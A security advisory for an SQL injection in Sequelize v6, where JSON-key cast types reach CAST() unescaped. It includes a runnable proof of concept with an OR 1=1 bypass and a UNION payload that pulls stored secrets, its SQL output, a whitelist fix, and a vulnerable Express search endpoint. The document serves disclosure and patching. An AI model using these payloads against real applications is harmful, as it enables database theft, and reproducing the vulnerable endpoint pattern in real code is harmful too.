CVE-2026-30951: Sequelize v6 Vulnerable to SQL Injection via JSON Column Cast Type

Summary

SQL injection via unescaped cast type in JSON/JSONB where clause processing. The traverseJSON() function splits JSON path keys on :: to extract a cast type, which is interpolated raw into CAST(... AS <type>) SQL. An attacker who controls JSON object keys can inject arbitrary SQL and exfiltrate data from any table.

Affected: v6.x through 6.37.7. v7 (@sequelize/core) is not affected.

Details

In src/dialects/abstract/query-generator.js, traverseJSON() extracts a cast type from :: in JSON keys without validation:

javascript // line 1892 traverseJSON(items, baseKey, prop, item, path) { let cast; if (path[path.length - 1].includes("::")) { const tmp = path[path.length - 1].split("::"); cast = tmp[1]; // attacker-controlled, no escaping path[path.length - 1] = tmp[0]; } // ... items.push(this.whereItemQuery(this.castKey(pathKey, item, cast), { [Op.eq]: item })); }

castKey() (line 1925) passes it to Utils.Cast, and handleSequelizeMethod() (line 1692) interpolates it directly:

javascript return CAST(${result} AS ${smth.type.toUpperCase()});

JSON path values are escaped via this.escape() in jsonPathExtractionQuery(), but the cast type is not.

Suggested fix — whitelist known SQL data types:

javascript const ALLOWEDCASTTYPES = new Set([ 'integer', 'text', 'real', 'numeric', 'boolean', 'date', 'timestamp', 'timestamptz', 'json', 'jsonb', 'float', 'double precision', 'bigint', 'smallint', 'varchar', 'char', ]);

if (cast && !ALLOWEDCASTTYPES.has(cast.toLowerCase())) { throw new Error(Invalid cast type: ${cast}); }

PoC

npm install sequelize@6.37.7 sqlite3

javascript const { Sequelize, DataTypes } = require('sequelize');

async function main() { const sequelize = new Sequelize('sqlite::memory:', { logging: false });

const User = sequelize.define('User', { username: DataTypes.STRING, metadata: DataTypes.JSON, });

const Secret = sequelize.define('Secret', { key: DataTypes.STRING, value: DataTypes.STRING, });

await sequelize.sync({ force: true });

await User.bulkCreate([ { username: 'alice', metadata: { role: 'admin', level: 10 } }, { username: 'bob', metadata: { role: 'user', level: 5 } }, { username: 'charlie', metadata: { role: 'user', level: 1 } }, ]);

await Secret.bulkCreate([ { key: 'apikey', value: 'sk-secret-12345' }, { key: 'dbpassword', value: 'supersecretpassword' }, ]);

// TEST 1: WHERE clause bypass const r1 = await User.findAll({ where: { metadata: { 'role::text) or 1=1--': 'anything' } }, logging: (sql) => console.log('SQL:', sql), }); console.log('OR 1=1:', r1.map(u => u.username)); // Returns ALL rows: ['alice', 'bob', 'charlie']

// TEST 2: UNION-based cross-table exfiltration const r2 = await User.findAll({ where: { metadata: { 'role::text) and 0 union select id,key,value,null,null from Secrets--': 'x' } }, raw: true, logging: (sql) => console.log('SQL:', sql), }); console.log('UNION:', r2.map(r => ${r.username}=${r.metadata})); // Returns: apikey=sk-secret-12345, dbpassword=supersecretpassword }

main().catch(console.error);

Output:

SQL: SELECT id, username, metadata, createdAt, updatedAt FROM Users AS User WHERE CAST(jsonextract(User.metadata,'$.role') AS TEXT) OR 1=1--) = 'anything'; OR 1=1: [ 'alice', 'bob', 'charlie' ]

SQL: SELECT id, username, metadata, createdAt, updatedAt FROM Users AS User WHERE CAST(jsonextract(User.metadata,'$.role') AS TEXT) AND 0 UNION SELECT ID,KEY,VALUE,NULL,NULL FROM SECRETS--) = 'x'; UNION: [ 'apikey=sk-secret-12345', 'dbpassword=supersecretpassword' ]

Impact

SQL Injection (CWE-89) — Any application that passes user-controlled objects as where clause values for JSON/JSONB columns is vulnerable. An attacker can exfiltrate data from any table in the database via UNION-based or boolean-blind injection. All dialects with JSON support are affected (SQLite, PostgreSQL, MySQL, MariaDB).

A common vulnerable pattern:

javascript app.post('/api/users/search', async (req, res) => { const users = await User.findAll({ where: { metadata: req.body.filter } // user controls JSON object keys }); res.json(users); });